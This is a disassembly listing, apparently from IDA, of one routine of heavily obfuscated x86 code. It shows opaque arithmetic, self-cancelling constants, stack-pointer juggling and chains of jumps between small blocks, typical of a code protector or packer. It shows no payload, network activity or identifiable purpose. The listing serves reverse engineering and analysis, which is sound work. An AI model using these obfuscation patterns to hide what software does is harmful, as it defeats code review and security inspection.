loc_59622F:				; CODE XREF: sub_57DD3A+25292j
		mov	[esp+0Ch+var_E+2], ecx
		jmp	loc_59DFB3
; ---------------------------------------------------------------------------


loc_596237:				; CODE XREF: sub_57DD3A+16853j
		mov	edi, 0A8F29395h
		sub	esi, edi
		pop	edi
		jmp	loc_58FD08
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+50h+var_50]
		jmp	loc_599AAA
; ---------------------------------------------------------------------------


loc_59624D:				; CODE XREF: sub_57DD3A+22A9Aj
		xchg	esi, [esp+50h+var_50]
		pop	edi
		jmp	loc_5A07C2
; ---------------------------------------------------------------------------


loc_596256:				; CODE XREF: sub_57DD3A+13BBFj
		mov	ebx, 0BDC00D7h
		and	ebx, 35FB1D8Ch
		jmp	loc_59F863
; ---------------------------------------------------------------------------


loc_596266:				; CODE XREF: sub_57DD3A+145F2j
		mov	[esp+4Eh+var_50+2], eax
		mov	eax, 2
		add	ecx, 3B680581h
		add	ecx, 5D752FF7h
		add	ecx, eax
		sub	ecx, 5D752FF7h
		sub	ecx, 3B680581h
		pop	eax
		xchg	ecx, [esp+4Ah+var_4C+2]
		jmp	loc_5A0793
; ---------------------------------------------------------------------------


loc_596291:				; CODE XREF: sub_57DD3A+19E0Fj
		push	ecx
		mov	ch, 13h
		jmp	loc_59D226
; ---------------------------------------------------------------------------


loc_596299:				; CODE XREF: sub_57DD3A+1E786j
		pop	ebp
		xor	ebp, 8F0D8251h
		jmp	loc_5A2BA6
; ---------------------------------------------------------------------------


loc_5962A5:				; CODE XREF: sub_57DD3A+2398Fj
		xor	bl, al
		movzx	eax, al
		mov	dx, word ptr [esp+4Ah+var_4C+2]
		push	edx
		jmp	loc_59663E
; ---------------------------------------------------------------------------


loc_5962B4:				; CODE XREF: sub_57DD3A+2309Dj
		push	edx
		jmp	loc_5A08E6
; ---------------------------------------------------------------------------


loc_5962BA:				; CODE XREF: sub_57DD3A+151B3j
		add	ecx, 4
		jmp	loc_59C887
; ---------------------------------------------------------------------------


loc_5962C5:				; CODE XREF: sub_57DD3A+12858j
		mov	esp, [esp+1Ah+var_1A]
		jmp	loc_595926
; ---------------------------------------------------------------------------


loc_5962CD:				; CODE XREF: sub_57DD3A+20856j
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5962D2:				; CODE XREF: sub_57DD3A+1CB17j
		mov	[esp+1Ah+var_1A], ebx
		push	esp
		pop	ebx
		push	ebp
		jmp	loc_5A2A8A
; ---------------------------------------------------------------------------


loc_5962DD:				; CODE XREF: sub_57DD3A+22306j
		push	3088h
		mov	[esp+22h+var_22], esp
		push	5193h
		mov	[esp+26h+var_26], esi
		jmp	loc_591812
; ---------------------------------------------------------------------------


loc_5962F2:				; CODE XREF: sub_57DD3A+139C3j
		push	esi
		push	eax
		mov	eax, 37D27BB4h
		sub	[esp+60h+var_5C], eax
		pop	eax
		pop	ebp
		push	ecx
		mov	ecx, 0B2B109Ah
		jmp	loc_595B52
; ---------------------------------------------------------------------------


loc_59630A:				; CODE XREF: sub_57DD3A+19A37j
		pop	edx
		push	edi
		push	esi
		mov	esi, 5FF536E9h
		jmp	loc_59C631
; ---------------------------------------------------------------------------


loc_596317:				; CODE XREF: sub_57DD3A+15779j
		mov	edx, 465822F2h
		jmp	loc_58EE71
; ---------------------------------------------------------------------------


loc_596321:				; CODE XREF: sub_57DD3A+1DE6Fj
		add	esi, edx
		push	[esp+3Eh+var_3E]
		mov	edx, [esp+42h+var_42]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	[esp+46h+var_42]
		pop	edi
		pop	[esp+46h+var_46]
		pop	esp
		push	eax
		mov	eax, 4
		push	41F4h
		jmp	loc_5929E9
; ---------------------------------------------------------------------------


loc_596355:				; CODE XREF: sub_57DD3A+2558Fj
		push	4
		pop	ebp
		add	eax, ebp
		pop	ebp
		push	456Bh
		mov	[esp+46h+var_46], ecx
		sub	esp, 4
		jmp	loc_593759
; ---------------------------------------------------------------------------


loc_59636E:				; CODE XREF: sub_57DD3A+14E9Aj
		push	77FAh
		mov	[esp+44h+var_46+2], ebx
		push	551Bh
		mov	[esp+0], edi
		jmp	loc_595C25
; ---------------------------------------------------------------------------


loc_596383:				; CODE XREF: sub_57DD3A+1A1A6j
		push	ecx
		mov	ch, 0CAh
		mov	bl, ch
		mov	ecx, [esp+4Ch+var_4C]
		add	esp, 4
		add	bl, 0FFh
		shr	bl, 1
		xchg	al, bl
		not	al
		xchg	al, bl
		xor	bl, 37h
		not	bl
		sub	bl, 0F4h
		sub	al, bl
		jmp	loc_592073
; ---------------------------------------------------------------------------


loc_5963AB:				; CODE XREF: sub_57DD3A+247FEj
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		jmp	loc_591D88
; ---------------------------------------------------------------------------


loc_5963BC:				; CODE XREF: sub_57DD3A+17353j
		sub	ecx, edi
		add	ecx, 55135673h
		sub	ecx, 64A0755Ch
		pop	edi
		sub	esp, 4
		mov	[esp+14h+var_16+2], edi
		jmp	loc_59CD03
; ---------------------------------------------------------------------------


loc_5963D6:				; CODE XREF: sub_57DD3A+14A7Cj
		sub	ebx, 45D670CCh
		add	ebx, esi
		jmp	loc_598187
; ---------------------------------------------------------------------------


loc_5963E3:				; CODE XREF: sub_57DD3A+15F90j
		shl	edi, 8
		jmp	loc_599957
; ---------------------------------------------------------------------------


loc_5963EB:				; CODE XREF: sub_57DD3A+20A25j
		push	eax
		mov	eax, 0B9FC3A88h
		sub	edx, eax
		pop	eax
		jmp	loc_59E247
; ---------------------------------------------------------------------------


loc_5963F9:				; CODE XREF: sub_57DD3A+18EA1j
		pop	eax
		add	edi, 768CC5DCh
		xor	edx, edi
		pop	edi
		push	edx
		pop	edi
		pop	edx
		push	edx
		jmp	loc_594FFE
; ---------------------------------------------------------------------------


loc_59640C:				; CODE XREF: sub_57DD3A+200B9j
		pop	ebp
		add	ecx, edx
		pop	edx
		push	68BBh
		mov	[esp+3Ah+var_3A], ecx
		push	[esp+3Ah+var_36]
		pop	ecx
		pop	[esp+3Ah+var_3A]
		pop	esp
		mov	ax, word ptr [esp+32h+var_32]
		jmp	loc_5915FE
; ---------------------------------------------------------------------------


loc_59642A:				; CODE XREF: sub_57DD3A+1495Cj
		mov	ebx, 4566381Eh
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+20h+var_22+2]
		pop	esp
		mov	[esp+1Ch+var_1E+2], edi
		mov	edi, ebx
		mov	edx, edi
		mov	edi, [esp+1Ch+var_1E+2]
		add	esp, 4
		pop	ebx
		xor	edx, 2BD7614Ah
		jmp	loc_593973
; ---------------------------------------------------------------------------


loc_596458:				; CODE XREF: sub_57DD3A+1AF29j
		pop	eax
		pop	[esp+10h+var_12+2]
		mov	esp, [esp+0Ch+var_E+2]
		mov	[esp+0Ch+var_E+2], ecx
		sub	esp, 4
		mov	[esp+10h+var_12+2], edx
		push	ecx
		mov	ch, al
		jmp	loc_5908A9
; ---------------------------------------------------------------------------


loc_596470:				; CODE XREF: sub_57DD3A+15889j
		sub	esp, 4
		jmp	loc_5980BA
; ---------------------------------------------------------------------------


loc_59647B:				; CODE XREF: sub_57DD3A+1C97Bj
		pop	edx
		jmp	loc_59ED7C
; ---------------------------------------------------------------------------


loc_596481:				; CODE XREF: sub_57DD3A+12BE8j
		sub	ebx, eax
		pop	eax
		sub	ebx, 24FF5D2Bh
		add	ebx, eax
		add	ebx, 24FF5D2Bh
		push	ebp
		mov	ebp, 727E4A32h
		shr	ebp, 6
		add	ebp, 0FFFFFFFFh
		push	edi
		mov	edi, 73337920h
		not	edi
		neg	edi
		xor	edi, 0B6B157Ah
		xor	ebp, edi
		jmp	loc_5968D0
; ---------------------------------------------------------------------------
dword_5964B8	dd 7BE968h, 0A4C3E900h		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5964C2:				; CODE XREF: sub_57DD3A+24921j
		push	edx
		mov	dh, 0B5h
		sub	dh, 1
		push	ebx
		mov	bh, dh
		not	bh
		mov	dh, bh
		pop	ebx
		not	dh
		jmp	loc_5955F7
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5A000E
; ---------------------------------------------------------------------------


loc_5964DD:				; CODE XREF: sub_57DD3A+131DCj
		xor	edx, esi
		pop	esi
		push	edi
		mov	edi, 2E6F6FBCh
		or	edx, edi
		pop	edi
		sub	edx, 0A8C980FDh
		add	esi, edx
		pop	edx
		add	esi, 340375DEh
		push	ebx
		jmp	loc_5A1480
; ---------------------------------------------------------------------------


loc_5964FE:				; CODE XREF: sub_57DD3A+163E1j
		push	esi
		xchg	ebx, [esp+90h+var_90]
		jmp	loc_59BC26
; ---------------------------------------------------------------------------


loc_596507:				; CODE XREF: sub_57DD3A+1C7DDj
		pop	ebx
		add	eax, 7A16229Fh
		jmp	loc_599396
; ---------------------------------------------------------------------------


loc_596512:				; CODE XREF: sub_57DD3A+1240Bj
		mov	edx, 31C0623Fh
		inc	edx
		shr	edx, 6
		jmp	loc_5A2106
; ---------------------------------------------------------------------------


loc_596520:				; CODE XREF: sub_57DD3A+11819j
		pop	edx
		mov	edi, [esp+60h+var_60]
		add	esp, 4
		not	edi
		push	edx
		push	edi
		pop	edx
		pop	edi
		push	esi
		jmp	loc_59FC5B
; ---------------------------------------------------------------------------


loc_596536:				; CODE XREF: sub_57DD3A+1D13Cj
		add	ebx, 1
		shr	ebx, 6
		xor	ebx, 0B6DCE62h
		mov	esi, ebx
		jmp	loc_594D40
; ---------------------------------------------------------------------------


loc_596549:				; CODE XREF: sub_57DD3A+144B5j
		and	ebp, 2D162C3Dh
		xor	ebp, 0C4C16138h
		add	eax, ebp
		pop	ebp
		add	edi, eax
		mov	eax, [esp+46h+var_46]
		add	esp, 4
		push	edi
		jmp	loc_59331D
; ---------------------------------------------------------------------------


loc_596566:				; CODE XREF: sub_57DD3A+135E2j
		mov	ecx, [esp+46h+var_46]
		add	esp, 4
		jmp	loc_598399
; ---------------------------------------------------------------------------


loc_596574:				; CODE XREF: sub_57DD3A+13473j
		push	eax
		jmp	loc_58FA14
; ---------------------------------------------------------------------------


loc_59657A:				; CODE XREF: sub_57DD3A+12F8Ej
		push	[esp+5Ch+var_5C]
		jmp	loc_592B20
; ---------------------------------------------------------------------------


loc_596582:				; CODE XREF: sub_57DD3A+1086Bj
		push	1ABBh
		mov	[esp+18h+var_1A+2], eax
		mov	eax, 44E20A34h
		xor	eax, 2D1D572Bh
		inc	eax
		jmp	loc_59F08C
; ---------------------------------------------------------------------------


loc_59659A:				; CODE XREF: sub_57DD3A+18220j
		add	edi, 5CB04BEDh
		mov	eax, [esp+2Ah+var_2A]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+2Eh+var_2E]
		pop	esp
		jmp	loc_592DEA
; ---------------------------------------------------------------------------


loc_5965B8:				; CODE XREF: sub_57DD3A+16A04j
		mov	[esp+62h+var_64+2], eax
		mov	eax, 64EC431Dh
		dec	eax
		shr	eax, 7
		jmp	loc_59964E
; ---------------------------------------------------------------------------


loc_5965C9:				; CODE XREF: sub_57DD3A+21379j
		pop	ebx
		xor	ebx, 787B30DBh
		shr	ebx, 8
		shr	ebx, 7
		sub	ebx, 451Eh
		mov	ecx, ebx
		jmp	loc_59D1ED
; ---------------------------------------------------------------------------


loc_5965E3:				; CODE XREF: sub_57DD3A+1EB6Aj
		add	edx, 5EE7084Dh
		push	[esp+5Eh+var_60+2]
		pop	esi
		add	esp, 4
		add	edx, ebx
		add	edx, 56014C85h
		pop	ebx
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp+5Ah+var_5C+2]
		add	esp, 4
		xchg	edx, [esp+56h+var_58+2]
		mov	esp, [esp+56h+var_58+2]
		push	[esp+56h+var_58+2]
		pop	eax
		sub	esp, 4
		mov	[esp+5Ah+var_5C+2], esi
		mov	esi, esp
		push	edx
		jmp	loc_595930
; ---------------------------------------------------------------------------


loc_596628:				; CODE XREF: sub_57DD3A+1F719j
		add	ebx, esi
		pop	esi
		add	eax, ebx
		pop	ebx
		xor	ebx, eax
		pop	eax
		mov	ecx, [esp+52h+var_54+2]
		add	esp, 4
		xor	ebx, edx
		jmp	loc_594A74
; ---------------------------------------------------------------------------


loc_59663E:				; CODE XREF: sub_57DD3A+18575j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp+4Eh+var_50+2]
		xor	[esp+4Eh+var_50+2], edx
		xor	edx, [esp+4Eh+var_50+2]
		mov	esp, [esp+4Eh+var_50+2]
		jmp	loc_595A56
; ---------------------------------------------------------------------------


loc_59665A:				; CODE XREF: sub_57DD3A+1E0C5j
		pop	edx
		sub	bl, 1
		jmp	loc_5A2DDB
; ---------------------------------------------------------------------------


loc_596663:				; CODE XREF: sub_57DD3A+190A5j
		add	ebp, 4
		xchg	ebp, [esp+4Ah+var_4C+2]
		jmp	loc_593BE6
; ---------------------------------------------------------------------------


loc_59666E:				; CODE XREF: sub_57DD3A+12A5Fj
		xor	[esp+28h+var_2A+2], ecx
		xor	ecx, [esp+28h+var_2A+2]
		jmp	loc_59F517
; ---------------------------------------------------------------------------


loc_596679:				; CODE XREF: sub_57DD3A+13671j
		sub	ebx, edi
		pop	edi
		jmp	loc_59A6D9
; ---------------------------------------------------------------------------


loc_596681:				; CODE XREF: sub_57DD3A+11182j
		push	edx
		mov	edx, 24h
		add	edx, 2B747846h
		add	edx, edi
		jmp	loc_5A05F0
; ---------------------------------------------------------------------------


loc_596694:				; CODE XREF: sub_57DD3A+10747j
		mov	[esp+8+var_8], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		jmp	loc_5959C7
; ---------------------------------------------------------------------------


loc_5966A7:				; CODE XREF: sub_57DD3A+12241j
		xchg	ecx, [esp+50h+var_50]
		jmp	loc_593D84
; ---------------------------------------------------------------------------


loc_5966AF:				; CODE XREF: sub_57DD3A+194D3j
		mov	[esp+50h+var_50], eax
		push	4
		jmp	loc_5A2F56
; ---------------------------------------------------------------------------


loc_5966BC:				; CODE XREF: sub_57DD3A+14A34j
		push	3F18h
		mov	[esp+74h+var_74], ebp
		push	55212295h
		pop	ebp
		inc	ebp
		shl	ebp, 7
		sub	ebp, 90914AFCh
		push	ecx
		jmp	loc_5A0D68
; ---------------------------------------------------------------------------


loc_5966DA:				; CODE XREF: sub_57DD3A+2076Cj
		push	4B881F3Bh
		pop	edi
		dec	edi
		sub	edi, 6A872673h
		jmp	loc_5946D2
; ---------------------------------------------------------------------------


loc_5966EC:				; CODE XREF: sub_57DD3A+255ABj
		or	edi, 50D050C5h
		push	esi
		mov	esi, 42F27D4Bh
		xor	edi, esi
		pop	esi
		or	edi, 0ECF36EAh
		push	eax
		mov	eax, 0D9CC75E3h
		xor	edi, eax
		pop	eax
		and	eax, edi
		pop	edi
		xor	eax, 6E9D64FFh
		add	eax, 0F0223C22h
		sub	edi, eax
		pop	eax
		add	edi, edx
		add	edi, 1CC1621Ch
		push	[esp+70h+var_70]
		pop	edx
		add	esp, 4
		xor	edi, [esp+6Ch+var_6C]
		xor	[esp+6Ch+var_6C], edi
		xor	edi, [esp+6Ch+var_6C]
		pop	esp
		ror	byte ptr [esp+68h+var_68], cl
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59673C:				; CODE XREF: sub_57DD3A+23E00j
		sub	ecx, ebx
		push	eax
		jmp	loc_59CCA2
; ---------------------------------------------------------------------------


loc_596744:				; CODE XREF: sub_57DD3A+111A2j
		push	eax
		mov	eax, 246F1A16h
		jmp	loc_590A6D
; ---------------------------------------------------------------------------


loc_59674F:				; CODE XREF: sub_57DD3A+247DDj
		sub	esp, 4
		mov	[esp+3Eh+var_3E], ebx
		mov	ebx, 4D642858h
		shr	ebx, 8
		xor	ebx, 48156214h
		jmp	loc_59AD15
; ---------------------------------------------------------------------------


loc_596768:				; CODE XREF: sub_57DD3A+12C5Aj
		push	1117h
		jmp	loc_591210
; ---------------------------------------------------------------------------


loc_596772:				; CODE XREF: sub_57DD3A+19BF3j
		push	20E5h
		mov	[esp+1Ch+var_1E+2], ecx
		pop	dword ptr [eax]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_596781:				; CODE XREF: sub_57DD3A+23750j
		pop	esi
		sub	ebx, 4
		xchg	ebx, [esp+14h+var_16+2]
		pop	esp
		mov	[esp+10h+var_12+2], ecx
		mov	ecx, 7DC00001h
		jmp	loc_5A3273
; ---------------------------------------------------------------------------


loc_596796:				; CODE XREF: sub_57DD3A+13695j
		pop	ebp
		pop	ecx
		xchg	edi, [esp+12h+var_12]
		jmp	loc_595725
; ---------------------------------------------------------------------------


loc_5967A0:				; CODE XREF: sub_57DD3A+1369Cj
		add	bl, 0F8h
		push	eax
		mov	ah, 50h
		and	bl, ah
		pop	eax
		dec	bl
		not	bl
		xor	bl, 3Dh
		and	ah, bl
		pop	ebx
		add	ah, 0CAh
		xor	ah, 0E6h
		or	ah, 0A5h
		jmp	loc_59E875
; ---------------------------------------------------------------------------


loc_5967C1:				; CODE XREF: sub_57DD3A+208D8j
		add	ax, 2D84h
		sub	ax, 537Fh
		sub	esp, 4
		mov	[esp+1Ah+var_1A], ecx
		mov	cx, 422Eh
		shl	cx, 2
		sub	cx, 1
		push	ebx
		push	small 2777h
		pop	bx
		push	edx
		mov	dx, 48C4h
		jmp	loc_5A269D
; ---------------------------------------------------------------------------


loc_5967ED:				; CODE XREF: sub_57DD3A+223A0j
		add	esi, 4
		sub	esi, 4
		jmp	loc_594BF1
; ---------------------------------------------------------------------------


loc_5967FE:				; CODE XREF: sub_57DD3A+11C4Fj
		pop	eax
		add	esp, 4
		pop	[esp+3Eh+var_3E]
		mov	esp, [esp+3Ah+var_3A]
		mov	[esp+3Ah+var_3A], ebx
		push	[esp+3Ah+var_3A]
		pop	eax
		jmp	loc_591B02
; ---------------------------------------------------------------------------


loc_596814:				; CODE XREF: sub_57DD3A+25028j
		sub	edx, ecx
		pop	ecx
		jmp	loc_59363D
; ---------------------------------------------------------------------------


loc_59681C:				; CODE XREF: sub_57DD3A+21478j
		pop	ecx
		push	edx
		mov	edx, 4C106337h
		add	eax, edx
		jmp	loc_59F094
; ---------------------------------------------------------------------------


loc_59682A:				; CODE XREF: sub_57DD3A+135EEj
		or	eax, ebx
		jmp	loc_597C13
; ---------------------------------------------------------------------------


loc_596831:				; CODE XREF: sub_57DD3A+2331Dj
		add	edi, 57DB22AAh
		sub	esp, 4
		mov	[esp+4Ah+var_4C+2], ecx
		mov	ecx, 2FC81F53h
		add	edi, ecx
		mov	ecx, [esp+4Ah+var_4C+2]
		jmp	loc_58E724
; ---------------------------------------------------------------------------


loc_59684F:				; CODE XREF: sub_57DD3A+2291Cj
		add	esp, 4
		pop	[esp+46h+var_46]
		pop	esp
		mov	dx, word ptr [esp+3Eh+var_3E]
		push	6CDDh
		mov	[esp+42h+var_42], edi
		push	esp
		pop	edi
		jmp	loc_59118C
; ---------------------------------------------------------------------------


loc_596869:				; CODE XREF: sub_57DD3A+22EC9j
		push	ebx
		mov	ebx, 0C216D5Fh
		add	ebx, 1
		push	edx
		jmp	loc_58E6E9
; ---------------------------------------------------------------------------


loc_596878:				; CODE XREF: sub_57DD3A+13A7Cj
		mov	esp, [esp+54h+var_54]
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		sub	ebx, ecx
		jmp	loc_5A0683
; ---------------------------------------------------------------------------


loc_59688E:				; CODE XREF: sub_57DD3A+24FA2j
		add	edx, 72256AB8h
		sub	edx, 1E992F09h
		sub	edx, ebp
		add	edx, 1E992F09h
		sub	edx, 72256AB8h
		mov	ebp, [esp+58h+var_58]
		add	esp, 4
		push	[esp+54h+var_54]
		pop	edi
		add	esp, 4
		xchg	edx, [esp+50h+var_50]
		jmp	loc_59ACD0
; ---------------------------------------------------------------------------


loc_5968C0:				; CODE XREF: sub_57DD3A+1B0EDj
		mov	[esp+50h+var_50], ebp
		mov	ebp, 54B61722h
		shl	ebp, 2
		jmp	loc_59BFF6
; ---------------------------------------------------------------------------


loc_5968D0:				; CODE XREF: sub_57DD3A+18779j
		pop	edi
		add	ebp, 371617D3h
		jmp	loc_59288C
; ---------------------------------------------------------------------------


loc_5968DC:				; CODE XREF: sub_57DD3A+23741j
		sub	ebp, 74CA771Dh
		add	ebp, 26254E69h
		mov	ecx, [esp+12h+var_12]
		add	esp, 4
		add	ebp, edi
		sub	ebp, 1BAA1631h
		pop	edi
		push	ecx
		jmp	loc_5971C2
; ---------------------------------------------------------------------------


loc_5968FD:				; CODE XREF: sub_57DD3A+17996j
		xor	[esp+1Ch+var_1E+2], ebp
		jmp	loc_5A259E
; ---------------------------------------------------------------------------


loc_596905:				; CODE XREF: sub_57DD3A+1C3E0j
		add	esp, 4
		xor	edi, [esp+18h+var_1A+2]
		xor	[esp+18h+var_1A+2], edi
		xor	edi, [esp+18h+var_1A+2]
		pop	esp
		sub	esp, 4
		mov	[esp+18h+var_1A+2], eax
		jmp	loc_59F6EF
; ---------------------------------------------------------------------------


loc_596920:				; DATA XREF: sub_57DD3A+1036Ao
		push	3DA7h
		mov	[esp+1Ch+var_1E+2], ebp
		sub	esp, 4
		mov	[esp+20h+var_22+2], ebx
		push	edi
		push	6FE309ECh
		pop	edi
		add	edi, 0DAEA511Eh
		mov	ebx, edi
		mov	edi, [esp+24h+var_26+2]
		add	esp, 4
		push	esi
		push	2E2C1CF7h
		pop	esi
		or	esi, 334F77AAh
		neg	esi
		push	edi
		mov	edi, 4E39095Fh
		not	edi
		sub	edi, 0C5228147h
		xor	esi, edi
		pop	edi
		mov	ebp, esi
		pop	esi
		sub	ebp, 67704460h
		add	ebp, ebx
		jmp	loc_58E3AB
; ---------------------------------------------------------------------------


loc_596973:				; CODE XREF: sub_57DD3A+1F9A4j
		xor	dh, 60h
		push	ebx
		mov	bl, dh
		mov	ah, bl
		pop	ebx
		mov	edx, [esp+20h+var_22+2]
		add	esp, 4
		sub	ah, 0Ch
		and	bh, ah
		pop	eax
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], eax
		jmp	loc_59FB0F
; ---------------------------------------------------------------------------


loc_596993:				; CODE XREF: sub_57DD3A+124E8j
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_594794
; ---------------------------------------------------------------------------


loc_5969A4:				; CODE XREF: sub_57DD3A+208E3j
		xor	cl, 1Ch
		add	cl, 3Ch
		sub	cl, bh
		sub	cl, 3Ch
		mov	ebx, [esp+32h+var_32]
		add	esp, 4
		xor	cl, 7Ch
		push	3C51h
		mov	[esp+32h+var_32], eax
		mov	al, 1Eh
		jmp	loc_59F575
; ---------------------------------------------------------------------------


loc_5969CA:				; CODE XREF: sub_57DD3A+18E57j
		xor	ebp, [esp+32h+var_32]
		pop	esp
		add	edi, 4
		push	edx
		jmp	loc_5A32CE
; ---------------------------------------------------------------------------


loc_5969DA:				; CODE XREF: sub_57DD3A+1EBADj
		sub	edi, 2
		xchg	edi, [esp+32h+var_32]
		mov	esp, [esp+32h+var_32]
		mov	word ptr [esp+32h+var_32], cx
		jmp	loc_58E66F
; ---------------------------------------------------------------------------


loc_5969EF:				; CODE XREF: sub_57DD3A+1736Fj
		mov	eax, 522D267Ch
		add	edi, eax
		jmp	loc_599C7E
; ---------------------------------------------------------------------------


loc_5969FB:				; CODE XREF: sub_57DD3A+1500Ej
		push	54D8h
		jmp	loc_591CFE
; ---------------------------------------------------------------------------


loc_596A05:				; CODE XREF: sub_57DD3A+1DF5Bj
		xor	[esp+2Ch+var_2E+2], ebp
		jmp	loc_5A1563
; ---------------------------------------------------------------------------


loc_596A0D:				; CODE XREF: sub_57DD3A+21E84j
		add	cl, 0FFh
		sub	cl, 4
		jmp	loc_59CD2D
; ---------------------------------------------------------------------------


loc_596A18:				; CODE XREF: sub_57DD3A+17D51j
		sub	esp, 4
		mov	[esp+4Ah+var_4C+2], edx
		push	699Eh
		mov	[esp+4Eh+var_50+2], esp
		add	[esp+4Eh+var_50+2], 4
		jmp	loc_5989AA
; ---------------------------------------------------------------------------


loc_596A2F:				; CODE XREF: sub_57DD3A+2085Cj
		inc	cl
		sub	esp, 4
		jmp	loc_5945B0
; ---------------------------------------------------------------------------


loc_596A3C:				; CODE XREF: sub_57DD3A+1DEEEj
		not	esi
		xchg	esi, ebx
		xchg	ebx, [esp+52h+var_54+2]
		mov	esi, [esp+52h+var_54+2]
		add	esp, 4
		push	eax
		mov	eax, 9D6A07AEh
		xor	esi, eax
		pop	eax
		mov	ecx, esi
		pop	esi
		jmp	loc_59379D
; ---------------------------------------------------------------------------


loc_596A5A:				; CODE XREF: sub_57DD3A+123C7j
		push	6227h
		jmp	loc_58F036
; ---------------------------------------------------------------------------


loc_596A64:				; CODE XREF: sub_57DD3A+1FE35j
		xchg	edi, esi
		jmp	loc_59D6BA
; ---------------------------------------------------------------------------


loc_596A6B:				; CODE XREF: sub_57DD3A+11D2Bj
		or	edi, 6AB50FA5h
		push	ebx
		jmp	loc_59BBCB
; ---------------------------------------------------------------------------


loc_596A77:				; CODE XREF: sub_57DD3A+24ABDj
		mov	ebx, 296D46A6h
		push	58DCh
		mov	[esp+18h+var_1A+2], edi
		mov	edi, 728446DBh
		add	ebx, edi
		pop	edi
		shr	ebx, 3
		push	esi
		mov	esi, 46CD0AEBh
		xor	esi, 6C250567h
		jmp	loc_592D65
; ---------------------------------------------------------------------------


loc_596AA0:				; CODE XREF: sub_57DD3A+12B27j
		push	ebp
		mov	ebp, 16BE01FCh
		jmp	loc_59F37E
; ---------------------------------------------------------------------------


loc_596AAB:				; CODE XREF: sub_57DD3A+1BD71j
		mov	ecx, esp
		push	edx
		jmp	loc_59F7CA
; ---------------------------------------------------------------------------


loc_596AB3:				; CODE XREF: sub_57DD3A+200DBj
		pop	esp
		sub	al, bl
		push	small 6064h
		mov	word ptr [esp+4Ah+var_4C+2], dx
		mov	dl, 0B9h
		add	al, 0C9h
		add	al, dl
		sub	al, 0C9h
		jmp	loc_59500D
; ---------------------------------------------------------------------------


loc_596ACB:				; CODE XREF: sub_57DD3A+13C1Cj
		mov	[esp+22h+var_22], ebx
		jmp	loc_59831D
; ---------------------------------------------------------------------------


loc_596AD3:				; CODE XREF: sub_57DD3A+1DA94j
		push	esp
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_594B5F
; ---------------------------------------------------------------------------


loc_596AE9:				; CODE XREF: sub_57DD3A+2354Bj
		sub	ebx, edx
		pop	edx
		pop	eax
		push	esi
		mov	esi, 66A123AAh
		xor	esi, 1D9C4402h
		add	ebx, esi
		pop	esi
		dec	ebx
		xor	ebx, 9C2D6C00h
		jmp	loc_595150
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+1Eh+var_1E]
		sub	esp, 4
		mov	[esp+22h+var_22], ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp+26h+var_26], ebx
		mov	ebx, 4
		push	ebp
		mov	ebp, 1A510C6Bh
		and	ebp, 28C07105h
		push	eax
		jmp	loc_58F090
; ---------------------------------------------------------------------------


loc_596B34:				; CODE XREF: sub_57DD3A+16E1Aj
		xchg	ecx, [esp+7Ah+var_7C+2]
		sub	esp, 4
		jmp	loc_59D592
; ---------------------------------------------------------------------------


loc_596B42:				; CODE XREF: sub_57DD3A+17CEDj
		pop	ebp
		jmp	loc_599E86
; ---------------------------------------------------------------------------


loc_596B48:				; CODE XREF: sub_57DD3A+12D0Ej
		mov	[esp+0Eh+var_E], ecx
		jmp	loc_599BB2
; ---------------------------------------------------------------------------


loc_596B50:				; CODE XREF: sub_57DD3A+12198j
		pop	ecx
		mov	edx, 87AB199Fh
		xor	edx, ebx
		pop	ebx
		sub	edx, ebp
		mov	ebp, [esp+3Ch+var_3E+2]
		add	esp, 4
		sub	esi, edx
		mov	edx, [esp+38h+var_3A+2]
		add	esp, 4
		sub	edi, 113D29B3h
		add	edi, 546A1E65h
		sub	edi, esi
		jmp	loc_5929F1
; ---------------------------------------------------------------------------


loc_596B7F:				; CODE XREF: sub_57DD3A+238DBj
		add	ebp, ecx
		sub	ebp, 55747466h
		pop	ecx
		add	ebp, 4
		xor	ebp, [esp+30h+var_32+2]
		xor	[esp+30h+var_32+2], ebp
		jmp	loc_5969CA
; ---------------------------------------------------------------------------


loc_596B96:				; CODE XREF: sub_57DD3A+184D6j
		sub	esp, 4
		mov	[esp+3Eh+var_3E], esi
		jmp	loc_5A2873
; ---------------------------------------------------------------------------


loc_596BA4:				; CODE XREF: sub_57DD3A+17670j
		add	edx, ebp
		pop	ebp
		push	ebx
		push	edi
		mov	edi, 233C3496h
		shr	edi, 7
		xor	edi, 264A5C57h
		xor	edi, 260C243Ch
		mov	ebx, edi
		push	[esp+60h+var_60]
		pop	edi
		jmp	loc_5A05BC
; ---------------------------------------------------------------------------


loc_596BC8:				; CODE XREF: sub_57DD3A+10C8Aj
		push	edi
		mov	edi, 1CD66548h
		push	eax
		mov	eax, 6FA40C42h
		sub	eax, 0A31FC77h
		and	edi, eax
		jmp	loc_5963F9
; ---------------------------------------------------------------------------


loc_596BE0:				; CODE XREF: sub_57DD3A+10732j
		sub	ebx, 547172B8h
		neg	ebx
		not	ebx
		jmp	loc_590508
; ---------------------------------------------------------------------------


loc_596BEF:				; CODE XREF: sub_57DD3A+11F72j
		push	ebx
		jmp	loc_599EFD
; ---------------------------------------------------------------------------


loc_596BF5:				; CODE XREF: sub_57DD3A+126D6j
		mov	bl, 61h
		jmp	loc_595B7E
; ---------------------------------------------------------------------------


loc_596BFC:				; CODE XREF: sub_57DD3A+15CEDj
		mov	ebx, esp
